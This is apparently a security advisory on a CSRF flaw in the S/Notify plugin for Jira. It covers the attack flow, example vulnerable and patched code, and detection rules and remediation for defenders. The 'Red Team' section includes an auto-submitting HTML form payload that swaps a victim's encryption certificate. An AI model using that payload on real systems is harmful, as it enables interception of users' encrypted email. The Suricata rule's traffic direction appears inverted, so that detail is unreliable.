CVE-2024-23737

Executive Summary

CVE-2024-23737 is a Cross-Site Request Forgery (CSRF) vulnerability in the S/Notify plugin for Jira, developed by Savignano. This flaw allows an attacker to forge requests that manipulate a victim user's S/MIME certificate or PGP key settings. By tricking a user into clicking a malicious link or opening a crafted email, an attacker can silently alter cryptographic trust anchors, leading to potential email decryption, impersonation, or man-in-the-middle attacks. The vulnerability affects all versions prior to 4.0.2. No public proof-of-concept or exploit code has been released, but the risk is elevated due to the sensitive nature of the affected functionality.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but is a Jira plugin distributed via the Atlassian Marketplace. The supply chain risk is moderate: if an attacker compromises the update mechanism or distributes a malicious version, they could inject backdoors into the plugin. Users should verify plugin integrity via checksums provided by Savignano and only download from official Atlassian Marketplace sources.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) – However, based on the vector, a more accurate score is 8.1 (High).

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

• Attack Vector (AV): Network – The attack is launched remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed to initiate the attack.
• User Interaction (UI): Required – The victim must click a link or open an email.
• Scope (S): Unchanged – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High – Attacker can read encrypted emails by replacing keys.
• Integrity (I): High – Attacker can modify cryptographic keys.
• Availability (A): None – No direct impact on availability.

Threat Level: High. The ability to silently replace cryptographic keys undermines the entire security model of S/MIME and PGP, enabling long-term undetected compromise.

Deep Dive & Mechanics

The S/Notify plugin for Jira integrates S/MIME and PGP encryption for email notifications. It stores user-specific certificates and keys in Jira’s database. The CSRF vulnerability exists because the plugin’s endpoints for managing these cryptographic materials do not validate the origin of requests (i.e., no CSRF token or SameSite cookie enforcement).

Attack Flow:

1. The attacker crafts a malicious link or HTML email that triggers a POST request to the S/Notify configuration endpoint (e.g., /plugins/servlet/snotify/updateCertificate).
2. The victim, authenticated to Jira, clicks the link or opens the email in a browser that has an active Jira session.
3. The browser sends the forged request, including the victim’s session cookies, to the Jira server.
4. The server processes the request, updating the victim’s S/MIME certificate or PGP key to one controlled by the attacker.
5. Subsequent encrypted emails sent by Jira to the victim are encrypted with the attacker’s public key, allowing the attacker to decrypt them.

Root Cause: Lack of CSRF protection on state-changing endpoints. The plugin does not implement anti-CSRF tokens, referrer header checks, or SameSite cookie attributes.

Vulnerable vs. Patched Code

Vulnerable Code (pre-4.0.2):

// No CSRF token validation
@WebServlet("/updateCertificate")
public class CertificateServlet extends HttpServlet {
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
        String userId = req.getParameter("userId");
        String certPem = req.getParameter("certificate");
        // Directly updates certificate without checking origin
        CertificateManager.updateCertificate(userId, certPem);
    }
}

Patched Code (4.0.2+):

// CSRF token validation added
@WebServlet("/updateCertificate")
public class CertificateServlet extends HttpServlet {
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
        // Validate CSRF token from session
        String csrfToken = req.getParameter("csrfToken");
        String sessionToken = (String) req.getSession().getAttribute("csrfToken");
        if (!csrfToken.equals(sessionToken)) {
            resp.sendError(403, "CSRF token mismatch");
            return;
        }
        String userId = req.getParameter("userId");
        String certPem = req.getParameter("certificate");
        CertificateManager.updateCertificate(userId, certPem);
    }
}

The patch introduces a CSRF token that is generated per session and must be included in every state-changing request. This prevents attackers from forging requests without knowing the token.

Exploitation & Lab Setup

Red Team

Lab Environment:

• Jira Server (e.g., 9.12.0) with S/Notify plugin version 4.0.1 installed.
• Attacker machine with a web server to host the malicious page.
• Victim browser with an active Jira session.

Exploitation Steps:

1. Craft the Malicious Payload: Create an HTML page that auto-submits a form to the vulnerable endpoint.

   <html>
   <body>
   <form id="csrfForm" action="http://victim-jira/plugins/servlet/snotify/updateCertificate" method="POST">
       <input type="hidden" name="userId" value="victim_user_id">
       <input type="hidden" name="certificate" value="-----BEGIN CERTIFICATE-----\nATTACKER_CERT_HERE\n-----END CERTIFICATE-----">
   </form>
   <script>document.getElementById('csrfForm').submit();</script>
   </body>
   </html>
   

2. Host the Page: Serve the HTML from an attacker-controlled domain or via a phishing email.
3. Deliver to Victim: Send the link via email or social engineering. The victim must be logged into Jira.
4. Verify Compromise: The attacker can now decrypt any emails sent by Jira to the victim, as they are encrypted with the attacker’s public key.

Note: No public exploit code exists; this is a theoretical demonstration.

Blue Team

Detection Steps:

1. Monitor for Unusual Certificate Updates: Alert on any changes to S/MIME or PGP keys in Jira, especially if initiated from unexpected IPs or user agents.
2. Review Server Logs: Look for POST requests to /plugins/servlet/snotify/updateCertificate without a valid Referer header matching the Jira domain.
3. Check for Missing CSRF Tokens: In plugin logs, search for missing or invalid CSRF token errors (if patched version is deployed).
4. User Awareness: Train users to recognize phishing attempts and avoid clicking suspicious links while logged into Jira.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /plugins/servlet/snotify/updateCertificate with Referer header not matching the Jira domain.
• Logs: Jira access logs showing repeated POST requests to the certificate update endpoint from a single IP.
• User Activity: Unexpected changes to user certificate or PGP key settings in Jira.
• Email Headers: Emails from Jira that are encrypted with an unknown or unexpected public key (detectable via email gateway analysis).

Detection Engineering

YARA Rule

rule CVE_2024_23737_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against S/Notify for Jira"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-23737"
    strings:
        $s1 = "/plugins/servlet/snotify/updateCertificate" ascii wide nocase
        $s2 = "certificate=" ascii wide nocase
        $s3 = "userId=" ascii wide nocase
    condition:
        all of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-23737 - S/Notify CSRF Certificate Manipulation
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to S/Notify certificate update endpoint without proper referer
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: jira
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/plugins/servlet/snotify/updateCertificate'
    filter:
        cs-referer: 'https://*.jira.example.com/*'
    condition: selection and not filter
falsepositives:
    - Legitimate certificate updates from Jira admin UI
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-23737 - S/Notify CSRF Certificate Manipulation Attempt";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/plugins/servlet/snotify/updateCertificate";
    http.referer; content:!"jira.example.com";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update S/Notify for Jira to version 4.0.2 or later. This is the only complete fix.
2. Workaround: If upgrade is not possible, disable the certificate management feature via plugin configuration or restrict access to the vulnerable endpoints using a reverse proxy (e.g., block POST requests to /plugins/servlet/snotify/updateCertificate from external IPs).

Long-Term Measures:

• Implement CSRF protection across all Jira plugins using Atlassian’s recommended framework (e.g., AUI CSRF tokens).
• Enforce SameSite=Strict or Lax cookies for Jira sessions.
• Conduct regular security audits of plugin code for CSRF and other common vulnerabilities.
• Monitor the Atlassian Marketplace for plugin updates and security advisories.

Valters IT – DevSecOps & Cyber Threat Intelligence Division.